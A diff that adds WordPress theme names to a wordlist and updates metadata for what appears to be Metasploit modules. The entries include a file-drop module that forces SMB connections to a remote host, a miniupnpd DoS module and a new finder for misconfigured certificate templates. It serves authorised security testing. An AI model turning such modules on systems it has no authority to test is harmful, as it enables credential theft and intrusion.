shapely
@@ -17205,16 +18361,19 @@ shark-education
shark-magazine
shark-news
shark-news-entertainment
sharksdesign
sharkskin
sharon-chin
sharon-chin-theme
sharp-letters
sharp-orange
sharp-tian
sharpend
shaurya
shawn-mercia
shayri
sheeba-lite
sheen
sheepie
shegerpro
sheilabehrazfar
@@ -17283,6 +18442,7 @@ shop-isles
shop-issle
shop-one-column
shop-online
shop-spot
shop-starter
shop-store
shop-template
@@ -17298,6 +18458,7 @@ shopart
shopay
shopay-store
shopbiz-lite
shopcommerce
shopee
shopeo
shoper
@@ -17310,18 +18471,24 @@ shophistic-lite-butik
shopical
shopisla
shopisle
shopiva
shopix
shopiyo
shopkeeper-ecommerce
shopline
shoply
shopmax
shopoint
shopone
shoppd
shoppe
shopper
shopper-ecommerce
shopper-shop
shopper-store
shopping
shopping-kart
shopping-kart-wp
shopping-mall
shopping-market
shopping-mart
@@ -17337,6 +18504,10 @@ shopstar
shopstore
shopstore22
shopstudio
shopup
shopup-lite
shopy
shopys
shopza
shopza-lite
shoreditch
@@ -17378,11 +18549,16 @@ shuttle-allbusiness
shuttle-blog
shuttle-boxed
shuttle-business
shuttle-clean
shuttle-corporate
shuttle-creative
shuttle-dark
shuttle-ebusiness
shuttle-ecommerce
shuttle-edark
shuttle-education
shuttle-emagazine
shuttle-eminimal
shuttle-enews
shuttle-eshop
shuttle-gobusiness
@@ -17390,14 +18566,19 @@ shuttle-gobusinessttttttt
shuttle-gominimal
shuttle-gonews
shuttle-green
shuttle-grid
shuttle-ibusiness
shuttle-icorporate
shuttle-imagazine
shuttle-inews
shuttle-light
shuttle-magazine
shuttle-minimal
shuttle-mybusiness
shuttle-mynews
shuttle-news
shuttle-orange
shuttle-photo
shuttle-portfolio
shuttle-purebusiness
shuttle-red
@@ -17405,6 +18586,7 @@ shuttle-redbusiness
shuttle-seeminimal
shuttle-shop
shuttle-store
shuttle-travel
shuttle-webusiness
shuttle-wemagazine
shuttle-wenews
@@ -17412,6 +18594,7 @@ shyam-lite
shygo
shygo-lite
siba
sicily
siddharth-theme
side-fade
side-out
@@ -17419,6 +18602,7 @@ sidebar
sidebarssuck
sidekick
sidespied
sideview
sidhu
sidon
siempel
@@ -17439,6 +18623,7 @@ signify-tune
signify-wedding
siimple
sijiseket
sikho-business
sila
silaslite
silent-blue
@@ -17449,6 +18634,7 @@ silhouette
silicon
silicon-blogger
silicon-westeros
silk-blog
silk-lite
silkdancer
silklady
@@ -17461,6 +18647,7 @@ silver-blue
silver-blue-gold
silver-corp
silver-dreams
silver-hubs
silver-mag-lite
silver-platinum
silver-quantum
@@ -17473,6 +18660,7 @@ silverback
silverbird
silverbow
silverclean-lite
silvermountain
silverorchid
silverstone
silvertaxi
@@ -17544,6 +18732,7 @@ simple-flow
simple-glassy
simple-gold-one
simple-golden-black
simple-golf-club-2021
simple-gowno
simple-gray
simple-gre
@@ -17711,6 +18900,7 @@ simplicitybright
simplified
simplified-lite
simplifiedblog
simplifii
simplify
simplio
simplish
@@ -17798,6 +18988,7 @@ singular
singularity
sinind
sinnloses-theme
sinsyne
sintes
sipka
sipri
@@ -17808,6 +18999,7 @@ sirius
sirius-lite
sirup
sisi
siska-lite
sister
site-fusion
site-happens
@@ -17835,6 +19027,7 @@ sjb-tkdr
skacero-lite
skanda
skante
skatepark
skelementor
skelepress
skeleton
@@ -17859,6 +19052,7 @@ skininnovations
skinny-bean
skirmish
skito
skitouring
skitters
skltn
skrollr
@@ -17866,6 +19060,7 @@ sksdev
skshop
skt-activism-lite
skt-autocar
skt-ayurveda
skt-bakery
skt-befit
skt-biz
@@ -17884,12 +19079,15 @@ skt-contractor
skt-corp
skt-cutsnstyle-lite
skt-design-agency
skt-doctor
skt-ecology
skt-elastic
skt-filmmaker
skt-full-weight
skt-full-width
skt-full-width2018
skt-gardening-lite
skt-generic
skt-girlie
skt-girlie-lit
skt-girlie-lite
@@ -17900,7 +19098,9 @@ skt-gymmaster
skt-handy
skt-handyman
skt-hotel-lite
skt-insurance
skt-it-consultant
skt-karate
skt-launch
skt-lawzo
skt-local-business
@@ -17913,8 +19113,12 @@ skt-parallaxme
skt-pathway
skt-photo-session
skt-photo-world
skt-plants
skt-resort
skt-sandwich
skt-secure
skt-simple
skt-skincare
skt-software
skt-solar-energy
skt-spa
@@ -17924,11 +19128,13 @@ skt-strong
skt-the-app
skt-toothy
skt-towing
skt-ui-ux
skt-videography
skt-wedding-lite
skt-white
skt-white-satan
skt-white-satan-2
skt-wildlife
skt-wine
skt-yogi-lite
skull-and-crossbones
@@ -17982,6 +19188,7 @@ sleekyy
slevenmag
slices
slickness
slicko
slickpress
slide-o-matic
slideliner-wordpress-theme
@@ -18028,16 +19235,25 @@ smart-blogs
smart-blue
smart-cat
smart-cleaning
smart-cleaning-company
smart-cleaning-services
smart-ecommerce
smart-education
smart-health-pharmacy
smart-kids
smart-magazine
smart-portfolio
smart-reviewer-demo
smart-shopper
smart-start
smart-techup
smart-white
smart9999
smartadapt
smartadapt-max-flat
smartbiz
smartblog
smartcube
smarter
smartfix
smartfund
@@ -18076,6 +19292,7 @@ smooci-2
smooth
smooth-blog
smooth-blue
smooth-cafe
smooth-khaki
smooth-real-estate-theme
smoothgray
@@ -18127,6 +19344,7 @@ sober
sobre-lite
sobsomoy
soccer
soccer-club-academy
soch-lite
socha-responsive-theme
sociable
@@ -18140,6 +19358,7 @@ social-learner
social-magazine
social-magazine-best
social-media
social-media-expert
social-snugs
socialize-lite
socially-awkward
@@ -18148,10 +19367,13 @@ sociallyviral
sociallyviral-sticky
socialmag
socialscience
societas
sodelicious-black
soekarno
sofia-wp
sofist-theme-uri-httpwordpress-org
soft-blog
soft-business
soft-love
soft-team
soft-wishper
@@ -18173,6 +19395,7 @@ softpoint
software
software-agency
software-company
software-techup
software-theme
softwareholic
softy
@@ -18180,6 +19403,7 @@ softy_extend
sohaib
soho-lite
soho-serenity
soivigol-blocks
soji-lite
sojval-elegance
sol
@@ -18254,6 +19478,7 @@ sp-circle-news
sp-mdl
spa
spa-and-salon
spa-center
spa-lite
spa-salon
spaa
@@ -18261,6 +19486,7 @@ spabeauty
space
space-material
space-north-free
spaceblock
spaceboy
spaceflux
spacious
@@ -18277,10 +19503,14 @@ spangle-lite
spanish-translation-us
spark
spark-blue
spark-building-construction
spark-construction-lite
spark-news
sparker
sparkg
sparkle-fse
sparkle-mart
sparkle-store
sparkleheart
sparkles-nursery
sparkles-nursery-theme
@@ -18330,6 +19560,8 @@ speedseo-fastload
speedster
speedup-store
speedy
speedy-growth
spera
spesa-twenty-eleven-child-by-iografica-it
sphere
sphinnx
@@ -18337,9 +19569,11 @@ sphinx
sphinx-theme-uri-httpwww-wpcy-net
sphinx-uri-httpwww-wordpress
sphinx-uri-httpwww-wordpress-org
spice-fse
spice-software
spice-software-dark
spiceblue
spicemag
spicepress
spicepress-dark
spicy
@@ -18360,6 +19594,7 @@ spina
spine
spinner-block
spinny-superlite
spinsoft
spintech
spiral-notebook
spirit
@@ -18405,6 +19640,7 @@ sportnewspvm
sportpress
sports-blog
sports-club-lite
sports-highlight
sports-lite
sports-magazine
sports-theme
@@ -18435,9 +19671,11 @@ springboard
springfestival
springinspiration
springy
sprout-wp
sproutable
sprouts
spt-custom
sptechit
spun
spun2
spyglass
@@ -18537,6 +19775,7 @@ starterbb
starterblog
starterleft
starterright
startify
startinger
startkit
startpoint
@@ -18550,9 +19789,12 @@ startup-free
startup-hub
startup-lite
startup-shop
startup-store
startup-techup
startupbiz-lite
startupwp
startupx
startupzy
startus
state-of-mind
statement
@@ -18564,9 +19806,11 @@ statice
staticwhite
station
station-pro-radio
stationary-bookstore
stationery
stationpro
status
stax
staycool
staymore
staypressed
@@ -18593,6 +19837,7 @@ sterndal
steven
steves-desk-mess
stevia
stewart
sthblue
stheme
sticky_10
@@ -18606,7 +19851,9 @@ stj-inc
stlukembc
stoca-lorel
stock
stock-photos
stockholm
stockist
stocks
stone
stonehenge
@@ -18624,6 +19871,7 @@ store-leader
store-lite
store-mall
store-mart-lite
store-press
store-prima
store-shopline
store-wp
@@ -18637,23 +19885,30 @@ storefron
storefront
storefront-business
storefront-child-theme
storefront-ecommerce
storefront-fnt
storefront-halloween
storefront-paper
storefront-starter
storefront-travel
storefronzz
storekeeper
storeluda
storely
storemax
storement
storenumberonetheme
storeone
storepress
storer
storeship
storess
storevilla
storewise
storexmas
storeystrap
storez
storezia
stork
storrr
stortech
@@ -18699,6 +19954,7 @@ streamline
strech
strepartemon
stride-lite
strike-blog
strikeball-counterstrike
striker
striker2
@@ -18737,6 +19993,7 @@ studio-x
studiopress
study-circle
study-circlek
study-education-lite
studylazy
stuff-things
stuffpost-shared-by-vestathemes-com
@@ -18787,6 +20044,7 @@ subh-lite
sublime
sublime-blog
sublime-blogger
sublime-business
sublime-journal
sublime-press
sublime-theme
@@ -18799,6 +20057,7 @@ subtleflux
subtly-stripe-ed
subuntu
success
success-coach
success1
sucha
sudanese-shopping
@@ -18854,9 +20113,11 @@ sun
sun-city
sun-village
sundance
sundara
sundarbans-blog
sunday
sunday-news-lite
sundown
sunflower
sunflower-love
sungit-lite
@@ -18875,6 +20136,7 @@ sunsettheme
sunshine
sunshine-consult
sunshine-consulting
sunshine-wanderer
sunshop
sunspot
sunstone
@@ -18887,20 +20149,25 @@ super-blogger
super-bloggers-3
super-bloggers-3-a-twenty-twelve-child-theme
super-blue
super-business
super-captain
super-construction
super-light
super-minimal
super-salon
super-sexy
super-simple
super-simple-photo-blog
super-theme
superads-lite
superb
superb-ecommerce
superb-education
superb-landingpage
superb-lite
superb-marketplace
superbiz
superblank
superblog
superblog-compact
superblogging
@@ -18916,6 +20183,7 @@ supermag
supermagpro
supermarket
supermarket-ecommerce
supermarket-zone
supermart-ecommerce
supermodne
supermoon
@@ -18929,6 +20197,7 @@ supersport
superstore
supertheme
superthemes
superware
supesu
suporte-eduardo
supplier
@@ -18982,7 +20251,9 @@ sweetheat
sweetheme
sweetly-theme-uri-httpcolorlib-comwpthemessparkling
sweetly-uri-httpcolorlib-comwpthemessparkling
sweetsi-lite
sweettoothy
sweetweb
swell-free
swell-lite
swet
@@ -19001,8 +20272,10 @@ swiftpress
swiftray
swiftray-lite
swifty-site-designer
swimming-pool
swimschool
swing-lite
swingpress
swipewp
swirly
swirly-glow-thingys
@@ -19031,6 +20304,7 @@ symbol
sympalpress-lite
sympathy-blue
symphony
symplify-blog
syn
synapse
synchronization
@@ -19039,12 +20313,15 @@ synergy-blue-by-k9
synergy-green-by-k9
synergy-pink-by-k9
syntax
syrus
system-7
sywon
szareprzenikanie
szbenz
t-shirt-clothing
ta-business
ta-dailyblog
ta-mag
ta-magazine
ta-newspaper
ta-portfolio
@@ -19062,7 +20339,10 @@ tacte
tadaima
tadpole
tafri-travel
tafri-travel-blog
tagebuch
tagora
tagora-business
taha-yoyo
tai
tai-simpleblog
@@ -19070,6 +20350,7 @@ tai-simpletheme
tailor
tailored
tailwind
taina
tainacan
tainacan-interface
taiyariclasses-uri-httpsthemepalace-comdownloadscorporate-education
@@ -19106,6 +20387,7 @@ tannistha
tantyyellow
tanuki-base
tanzaku
tanzakufse
tanzanite
tanzii
tapied-child
@@ -19139,6 +20421,8 @@ tastybite
tastyplacement
tastypress
tasveer
tatoo-lite
tattoo-designer
tattoo-expert
tattoo-wow
tattoos
@@ -19146,6 +20430,7 @@ tatu
tatva-lite
tavisha
taxcan
taxi-booking
taylor
tbiz
tc-e-commerce-shop
@@ -19202,6 +20487,7 @@ techengage
techfind
techieblog
techified
techine
techism
techlauncher
techlicioushosting
@@ -19225,6 +20511,7 @@ technogatiadsenseready
technogenous-lite
technoholic
technology
technology-techup
technology-travel-food
technosmart
technosmart-lite
@@ -19240,6 +20527,7 @@ techtree2
techtune
techtunes
techup
techup-saw
techwear-theme-uri-httpthemeisle-comthemeszerif-lite
techwormcorporate
techy-people
@@ -19259,14 +20547,22 @@ teczilla-corporate
teczilla-creative
teczilla-dark
teczilla-finance
teczilla-industry
teczilla-lite
teczilla-marketing
teczilla-organization
teczilla-portfolio
teczilla-saas
teczilla-seo
teczilla-software
teczilla-startup
teczilla-technology
teczilla-trading
tedi
tedxwc
teen-seventeen
teerex
teesa
tehno-njuz
tehnonjuz
tehran
@@ -19293,6 +20589,7 @@ temanyadaengganteng
temauno
tembesi
temka
temp-mail-x
temp8
tempera
templastic
@@ -19309,8 +20606,10 @@ templateozzamo16
templatetoaster
tempo
temptation
ten-blog
tenacity
tender-spring
tendo
tenera
tenet
tenocation
@@ -19371,8 +20670,14 @@ tg-green-light
tg-orange-mini
tgame
tgmpa_test
th-big
th-big-shop
th-blogging
th-hot-shop
th-jot
th-open
th-store
th-top
thai-spa
thallein
thalliumwp
@@ -19390,6 +20695,7 @@ the-adjustbar-two-column-left-right-side-bar-default-widget
the-adventure-journal
the-angle
the-architect-website
the-art-gallery
the-artister
the-ataraxis
the-authority
@@ -19446,6 +20752,7 @@ the-event-construction
the-event-dark
the-evol
the-evol-theme
the-evolution
the-exe
the-falcon
the-fash-blog
@@ -19458,12 +20765,14 @@ the-fundamentals-of-graphic-design
the-funk
the-gap
the-gecko
the-gig
the-glory
the-glory-template
the-go-green-theme
the-good-earth
the-guru-theme
the-h
the-headlines
the-hipster-blog
the-hotel
the-html5-boilerplate
@@ -19508,6 +20817,7 @@ the-next-university
the-nice-one
the-night-watch
the-other-blog-lite-red
the-pack-element
the-pet-clinic
the-pinata
the-portfolio
@@ -19532,6 +20842,8 @@ the-shopping
the-simple-things
the-skeleton
the-sonic
the-store
the-styled-blog
the-sunflower-theme
the-swallow
the-theme
@@ -19581,6 +20893,7 @@ thecompany
thefabbrick
thefour-lite
thegujjar
thehideout
theia-lite
thekit
theleul
@@ -19632,6 +20945,7 @@ themetastico
themetiger-fashion
themetim
themevid
themework
themey
themia-lite
themia-pro
@@ -19686,6 +21000,7 @@ thewin
theworldin35mm
thikcha-bootstrap
thin-mint
thinity
think-blue
think-me
thinker
@@ -19696,6 +21011,7 @@ third
third-eye
third-son
third-style
thirteen-blog
thirteenmag
thirtyseventyeight
this-christmas
@@ -19744,6 +21060,7 @@ tiffany-lite
tifology
tiga
tiger
tigtiger
tijaji
tijarat-business
tiki-time
@@ -19868,15 +21185,19 @@ toommorel-lite
toommorel-theme-by-inkthemes
toothpaste
top-blog
top-blogger
top-business
top-charity
top-classic-cars
top-event
top-jewelry
top-language-jobs-2
top-mag
top-newspaper
top-premium-photoblog
top-shop
top-store
top-stories
top-story
top-travel
top5revs
@@ -19919,6 +21240,7 @@ tour
tour-agency
tour-operator
tour-package
tour-travel-agent
tour-traveler
tourable
tourag
@@ -19935,6 +21257,7 @@ tove
township-lite
tp-autumn
tp-blue
tp-branded
tp-iphone
tp-philosophy
tp-purpure
@@ -19955,6 +21278,7 @@ trade
trade-business
trade-hub
trade-line
trade-more
tradebiz
tradeup
trading
@@ -19992,6 +21316,7 @@ transport-lite
transport-movers
transport-solutions
transportation
transportation-shipment
transportex
transporty
travbo
@@ -20001,6 +21326,7 @@ travel-ace
travel-advisor
travel-agency
travel-agency-booking
travel-agent
travel-and-tour
travel-away
travel-base
@@ -20016,9 +21342,11 @@ travel-booking
travel-buzz
travel-by-frelocaters
travel-canvas
travel-charm
travel-club
travel-company
travel-diaries
travel-diary
travel-escape
travel-eye
travel-eye12312312
@@ -20027,6 +21355,7 @@ travel-guide
travel-hub
travel-in-italy
travel-in-love
travel-init
travel-insight
travel-inspired
travel-is-my-life
@@ -20054,15 +21383,18 @@ travel-to-egypt
travel-tour
travel-tour-pro
travel-tourism
travel-trail
travel-trek
travel-trip-lite
travel-ultimate
travel-vlogger
travel-voyage
travel-way
traveladdict-lite
traveladdict-liteliye
travelagency
travelair
travelbee
travelberg
travelbiz
travelblog
@@ -20072,10 +21404,13 @@ traveler-blog-lite
travelera-lite
travelers
travelers-blog
travelholic
travelia
travelifestyle
travelify
travelingist
travelism
travelistic
travelkit
travellable
travellandia
@@ -20095,6 +21430,7 @@ travern
traverse-blog
traverse-diary
traversify-lite
travey
travia
traza
trcapital-lite
@@ -20116,21 +21452,26 @@ trend-shop
trending
trending-blog
trending-mag
trending-news
trendmag
trendmag-lite
trendpress
trendshop
trendy
trendy-blog
trendy-green
trendy-news
tressimple
treville
treviso
trex
trexo
triad
trial
trial-house-bootstrap-classic
trialhouse-bootstrap-classic
triangled
triangulate
tribal
tribbiani
tribe
@@ -20175,6 +21516,7 @@ tropical-beach-theme
tropical-paradise
tropicala
tropicana
trouvelot
truble
true-blue
true-blue-hue
@@ -20248,6 +21590,7 @@ tutepress
tutifruti
tuto
tutor
tutor-academy
tutor-starter
tutorial
tutorial-portfolio
@@ -20255,6 +21598,7 @@ tutorial-theme
tutorialesmanu
tutorstarter
tutsup-two
tutu
tuấn-hiệp
tv-boy-explode-black
tw
@@ -20283,9 +21627,11 @@ tweetpress
tweetsheep
twelve
twelve-14
twelve-blog
twelve-pixel
twentiy-nineteen
twenty
twenty-17
twenty-eightteen
twenty-eleven
twenty-eleven-alternative
@@ -20432,6 +21778,7 @@ twenty-twenty-one-child
twenty-twenty-one-sidebar
twenty-twenty-onee
twenty-twenty-plus
twenty-twenty-two-child
twenty-twenty20
twenty-two-five
twenty11
@@ -20444,6 +21791,7 @@ twentyfourteen
twentyfourteen-child
twentynineteen
twentyseventeen
twentyseventeen-child
twentysixteen
twentysixteen-custom
twentysixteen-customed-for-kishoredbn
@@ -20460,6 +21808,9 @@ twentytwelve-schema-org-child
twentytwenty
twentytwentyone
twentytwentyone-child-wooden
twentytwentythree
twentytwentytwo
twentytwentytwowcs2022
twentyxlarge
twentyxs
twentyxs-child
@@ -20573,6 +21924,7 @@ ultra-seven
ultrabootstrap
ultralight
ultrapress
ultravel
um
uma
uma-wp-theme
@@ -20588,6 +21940,7 @@ unakit
unar
unar-lite
unax
unblock
unbox-tours
uncode
uncode-lite
@@ -20620,7 +21973,9 @@ undistracted-zen
unfocus-green
unfocused-blues
unfold
unfoldx
uni-education
uniblock
unicare-lite
unicon
unicon-lite
@@ -20663,12 +22018,14 @@ universam-store-leader
universe
universe2
university
university-education-hub
university-hub
university-max
university-web8
university-wp
university-zone
unknown-uri-httpdemo-webulo1us-inabar1is
unlimita
unlimited
unmarked
unnamed-lite
@@ -20704,7 +22061,9 @@ upcart
update-tucson
updown-cloud
upeo
upeo-blog
upeo-business
upfront
upfrontwp
upify
upliftingblog
@@ -20751,6 +22110,7 @@ utheme
uticawp
utieletronica
utility
utility-techup
utilys
utopia
utouch-lite
@@ -20771,6 +22131,7 @@ vacation-lite
vacation-lite1
vacuous
vagabond
vagante
vaje
vajra
valazi
@@ -20805,6 +22166,7 @@ vantage-premium
vanty
vape-multipurpose-minimal-shop
vape-theme
varela-blog
varg
variant
variant-landing-page
@@ -20850,6 +22212,7 @@ vegeta
veggie-lite
veggie-lite1-2
veggie-poem
veggo-shop
vei-do-ceu
vei-do-saco
veikals
@@ -20887,6 +22250,7 @@ verbosa
verdant
verge
veridicta
veritable
veritas
verity
vermillon
@@ -20895,6 +22259,7 @@ veroxa
versal
versatile-business
versatile-business-dark
versatile-corporate
versitility
verso
verso-lite
@@ -20929,8 +22294,10 @@ vg-sento
viable-blog
viable-fame
viable-lite
viaggiando
viaggio-lite
viala
viandante
viavi-blog
vibe
vibefolio-teaser-10
@@ -20948,14 +22315,19 @@ victoriana
video
video-adventure-theme
video-blog
video-podcasting
video-sport-total
video-streaming
video-theme-adventure
videoblog
videobuzz
videocast
videofire
videofy
videographex
videography
videography-filmmaker
videolife
videomag
videomaker
videomax
@@ -20963,6 +22335,7 @@ videonowlite
videoplace
videopress
videopro-shared-by-themes24x7-com
videoshare
videostories
videoxl-free
vidmag
@@ -20987,6 +22360,8 @@ viktor-classic
viktor-lite
villa-estate
village
villanelle
villar
vilva
vina
vinay
@@ -21005,6 +22380,7 @@ vintage-stamps-theme
vintage-wall
vintage1-camera1
vintagemag
vinyl-news-mag
violet
violet-fashion-theme
violinesth
@@ -21054,6 +22430,7 @@ vishnu
visia-store
vision
vision-lite
visionwp
visitpress
viso
viso-theme
@@ -21085,6 +22462,7 @@ vivex
vivid-blog
vivid-night
vivita
vivre
vixka
vixy-catch
vizuit
@@ -21139,6 +22517,7 @@ vw-app-lite
vw-application
vw-automobile-lite
vw-bakery
vw-bakery-blocks
vw-blog-magazine
vw-book-store
vw-car-rental
@@ -21149,6 +22528,7 @@ vw-consulting
vw-corporate-business
vw-corporate-lite
vw-corporate-lite-2
vw-dark
vw-dentist
vw-driving-school
vw-eco-nature
@@ -21169,7 +22549,10 @@ vw-healthcare
vw-hospital-lite
vw-hotel
vw-interior-designs
vw-job-board
vw-kids
vw-kids-store
vw-kindergarten
vw-landing-page
vw-lawyer-attorney
vw-life-coach
@@ -21180,6 +22563,7 @@ vw-minimalist
vw-mobile-app
vw-mobile-app-red-canoa
vw-newspaper
vw-nutritionist-coach
vw-one-page
vw-painter
vw-parallax
@@ -21229,9 +22613,11 @@ w018
w1redtech
w3css
w3css-starter
w3csspress
w3t-fuseki
w7c_iz
wabc
wabi
wabi-sabi
wacko
wacool-hack-on-the-net
@@ -21245,6 +22631,8 @@ walili
walker-charity
walkermag
walkernews
walkerpress
walkershop
wall-street
wallflower
wallgreen
@@ -21266,6 +22654,7 @@ wapuu1-child
waqas
ward
wardrobe
warehouse-cargo
warm-heart
warm-home
warm-ribbon
@@ -21279,6 +22668,7 @@ washing-center
washington
wasif
wasteland
watch-store
watchertheme
watches
water
@@ -21287,6 +22677,7 @@ water-lily
water-mark
water-sports-club
watercolor
waterlava
waterloo
waternymph-and-dolphin
waterside
@@ -21321,16 +22712,20 @@ web-20
web-20-blue
web-20-pinky
web-20-simplified
web-agency-elementor
web-app
web-artist
web-conference
web-design
web-design-web8
web-designer
web-developer
web-developer-elementor
web-development
web-grapple
web-host
web-hosting
web-hosting-lite
web-hosting-theme
web-log
web-minimalist-200901
@@ -21383,6 +22778,7 @@ webstarslite
webstarterkitthirteen
webstore
webstrap
webstudio-gtns
webswp
webtacs-1
weburangbogor
@@ -21392,12 +22788,14 @@ wecare
wecodeart
wecodeart-framework
wecodeart-old
weddi-pro
wedding
wedding-band
wedding-bells
wedding-bells-lite
wedding-bride
wedding-couples
wedding-hall
wedding-happily-ever-after
wedding-journal
wedding-party
@@ -21419,10 +22817,14 @@ wedshot
wefoster
weh-lite
wehpy
wei
weight-loss
weight-loss-tea
welcome
welcomeholidays-uri-httpswordpress-orgthemestwentyseventeen
welding-services
well-being
well-book
well-built
well-rounded-redux-blue
wellbeing
@@ -21432,13 +22834,16 @@ wellness
wellness-child
wellness-coach-lite
wen-associate
wen-biz
wen-business
wen-commerce
wen-corporate
wen-travel
wen-travel-blog
wen-travel-corporate
wen-travel-dark
wen-travel-modern
wen-travel-photography
wepora
werka
west
@@ -21526,6 +22931,7 @@ whitey08-green
whitish
whitish-lite
whitney
wholesales
wholly
whoop
why-hello-there
@@ -21634,6 +23040,7 @@ wittgenstein
wix
wiz-ecommerce
wiziapp-smooth-touch
wk-finance
wk-wow
wkeducation
wlow
@@ -21649,6 +23056,7 @@ womenmagaz
wonder
wondrous
woo
woo-shop
woobie
wooclean
woocommerce-starter
@@ -21659,6 +23067,8 @@ wood-master
wood-people
wood-theme
woodberry
woodcraft-lite
woodcut
wooden
wooden-and-white-style
wooden-by-jason
@@ -21682,12 +23092,14 @@ woodsauce
woodword
woodwork-lite
woodworking
woodworking-carpenter
woody
woody-smooth
wooeco
wooketing
woolab
woomart
wooshop-wp
woosti
woostifi
woostify
@@ -21744,6 +23156,7 @@ wordpress-unix
wordpress-video-theme
words
words-blog
words-lite
wordsmith
wordsmith-anvil
wordsmith-blog
@@ -21755,9 +23168,11 @@ wordzilla
worf
work-and-travel
workart
workart-business
workflow
workfree
working-papers
workout-lite
workpress
worksblog
workspace-theme
@@ -21820,6 +23235,7 @@ wp-boxes
wp-brown
wp-bs-mix-news
wp-business
wp-business-builder
wp-c_green
wp-castle
wp-casual
@@ -21896,7 +23312,9 @@ wp-media-twentyfive
wp-meliora
wp-metrics
wp-metroui
wp-minimalist
wp-mint-magazine
wp-moose
wp-movies
wp-mozilla-community-theme-v2
wp-my-business
@@ -21904,6 +23322,7 @@ wp-nathy
wp-news-classic
wp-news-stream
wp-newsmagazine
wp-newspaper
wp-nice-mix
wp-notebook
wp-notes
@@ -22009,12 +23428,15 @@ wpbyd
wpcake
wpcan
wpchimp-countdown
wpckid
wpclick
wpcmart
wpcmedical
wpcomic
wpconfigurator
wpcount
wpcouponcode
wpcpet
wpcplant
wpcrest
wpcrux
@@ -22034,6 +23456,7 @@ wpf-authority
wpf-flaty
wpf-ultraresponsive
wpfastslide
wpflavour
wpfolio
wpfolio-three
wpgalaxy-magazine
@@ -22041,12 +23464,14 @@ wpgist
wpgrass
wpgumby
wpherald_lite
wphester
wpi-aboutme
wpideo
wpindexatic
wping-metro
wpj
wpjobman
wpkites
wpl-twentyeight
wplab-pro-wpcms
wplabo-aries
@@ -22128,6 +23553,7 @@ writee
writee-child
writee-grid
writee-parsi
writemag
writer
writer-blog
writera
@@ -22138,6 +23564,7 @@ writers-blogily
writers-desk
writers-quill
writerstrap
writeup
writhem-blog
writing-board
writing-desk
@@ -22189,9 +23616,11 @@ x-mas
x-portfolio
x-shop
x-store
x-t9
x-view
x2
x2-lite
x3p0-reflections
x6
xabstract
xaklin
@@ -22218,6 +23647,7 @@ xiando-one
xianrensea
xicoofficial
xid1theme
xidea
xin
xin-magazine
xinxin
@@ -22242,6 +23672,8 @@ xpand-blog
xpand-news
xperson-lite
xpinkfevertlx
xpomagazine
xposenews
xpressmag
xpro
xproweb
@@ -22323,6 +23755,7 @@ yepza
yes-co-ores-theme
yesp
yeti-5
yeti-blog
yeuloli
yeyita
yg-desire
@@ -22330,10 +23763,12 @@ yhsnews
yifengxuan
yinyang
yith-proteo
yith-wonder
yleave
ymac
ymflyingred
ymoo
ynet-contractor
yo-manga
yo-yo-po
yo_fik
@@ -22341,6 +23776,7 @@ yocto
yoga
yoga-coach
yoga-fitness
yoga-park
yoga-studio
yoga_guru
yogaclub-lite
@@ -22359,7 +23795,9 @@ yomel
yonarex
yoneko
yoo-developer
yordered-desktop
york-lite
york-press
yosemite
yosemite-lite
yosemite-lite1
@@ -22387,8 +23825,13 @@ yugen
yui
yui-grid-css
yuiyui
yuki
yuki-agency
yuki-magazine
yukti
yule
yuma
yuma-personal
yume
yume-tan
yummy
@@ -22463,6 +23906,7 @@ zeestyle
zeestylepro
zeesynergie
zeetasty
zeever
zeevision
zeko-lite
zelia
@@ -22485,6 +23929,7 @@ zenga-club
zengardenwedding
zenhabits-reloaded
zenimalist
zenithwp
zenlife
zenlite
zenmacrame
@@ -22533,6 +23978,7 @@ zetaone
zeus
zfirst
zgrey
zheme
zhuti
zica-lite-one-page
zifer-child
@@ -22570,7 +24016,9 @@ zm-tech-black-red
zm-theme
zmartoffcial
zmooncake
zmt-modular
znktheme-uri-httpssketchthemes-compremium-themesappointment-booking-wordpress-theme-for-consultants
zodiac-astrology
zodiac-lite
zoe
zoko
+1150 -435
View File
@@ -5220,7 +5220,7 @@
],
"targets": null,
"mod_time": "2022-10-28 09:19:43 +0000",
"mod_time": "2022-11-14 12:27:38 +0000",
"path": "/modules/auxiliary/admin/ldap/rbcd.rb",
"is_install_path": true,
"ref_name": "admin/ldap/rbcd",
@@ -13777,7 +13777,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/auxiliary/dos/upnp/miniupnpd_dos.rb",
"is_install_path": true,
"ref_name": "dos/upnp/miniupnpd_dos",
@@ -15496,7 +15496,7 @@
"Lnk Creation Code by Mubix",
"asoto-r7"
],
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
"references": [
"URL-https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018",
"URL-https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/",
@@ -15512,7 +15512,7 @@
],
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/auxiliary/fileformat/multidrop.rb",
"is_install_path": true,
"ref_name": "fileformat/multidrop",
@@ -19670,6 +19670,53 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/ldap_esc_vulnerable_cert_finder": {
"name": "Misconfigured Certificate Template Finder",
"fullname": "auxiliary/gather/ldap_esc_vulnerable_cert_finder",
"aliases": [
],
"rank": 300,
"disclosure_date": "2021-06-17",
"type": "auxiliary",
"author": [
"Grant Willcox"
],
"description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.",
"references": [
],
"platform": "",
"arch": "",
"rport": 389,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-12-07 10:48:07 +0000",
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
"is_install_path": true,
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
"check": false,
"post_auth": false,
